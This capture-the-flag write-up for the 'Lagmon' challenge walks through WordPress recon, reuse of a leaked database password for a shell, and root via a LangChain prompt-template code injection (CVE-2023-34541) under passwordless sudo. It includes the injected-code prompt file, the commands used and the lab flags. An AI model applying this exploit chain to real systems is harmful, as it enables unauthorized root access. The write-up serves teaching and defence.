2023 Business CTF: Lagmon
Challenge Information
| Attribute | Details |
|---|---|
| Event | 2023 Business CTF |
| Category | FullPwn |
| Challenge | Lagmon |
| Difficulty | Very Easy |
Summary
A WordPress-based system running LangChain integration with a vulnerable prompt loader. Initial access is obtained through WordPress enumeration and database credential discovery, followed by privilege escalation via LangChain prompt injection vulnerability (CVE-2023-34541) to achieve root code execution.
Analysis
The system has multiple layers:
WordPress Setup:
- Version 6.2.2 (latest as of 2023-05-20)
- Astra theme 4.1.5
- Database credentials exposed in wp-config.php
Database Credentials:
DB_NAME: pwndbDB_USER: wordpress_userDB_PASSWORD: SNJQvwWHCKDB_HOST: localhostPrivilege Escalation:
- User
developerreuses database password for system account - User can execute
/opt/prompt_loader.pywith sudo without password - Prompt loader uses LangChain’s PromptTemplate with CommaSeparatedListOutputParser
Solution
Step 1: Initial Reconnaissance
nmap -sC -sV langmon.htb# Reveals WordPress 6.2.2 on port 80wpscan --url http://langmon.htbStep 2: Discover WordPress Credentials
- Access wp-admin or web root to find wp-config.php
- Extract database credentials:
SNJQvwWHCK
Step 3: Gain User Shell
su developer# Password: SNJQvwWHCKcat /home/developer/user.txt# HTB{4lw4y5_upd473_y0ur_plu61n5}Step 4: Exploit LangChain CVE-2023-34541 Create a malicious prompt file:
from langchain.output_parsers.list import CommaSeparatedListOutputParserfrom langchain.prompts.prompt import PromptTemplate
_DECIDER_TEMPLATE = """..."""
import osos.system('id') # Injected code
PROMPT = PromptTemplate( input_variables=["query", "table_names"], template=_DECIDER_TEMPLATE, output_parser=CommaSeparatedListOutputParser(),)Step 5: Execute with Sudo
sudo /opt/prompt_loader.py prompt.py# Returns: uid=0(root) gid=0(root) groups=0(root)# Access to root flag: HTB{7h3_m4ch1n35_5p34k_w3_h34r}Key Takeaways
- WordPress installations require careful configuration management
- Reusing passwords across systems creates lateral movement paths
- LangChain prompt templates can be exploited for code injection
- Sudo privileges without proper output validation enable privilege escalation
- Keep all software, especially plugins, updated
- Never hardcode credentials in configuration files
- LLM integrations introduce new attack surfaces
- Sanitize all external inputs to prompt templates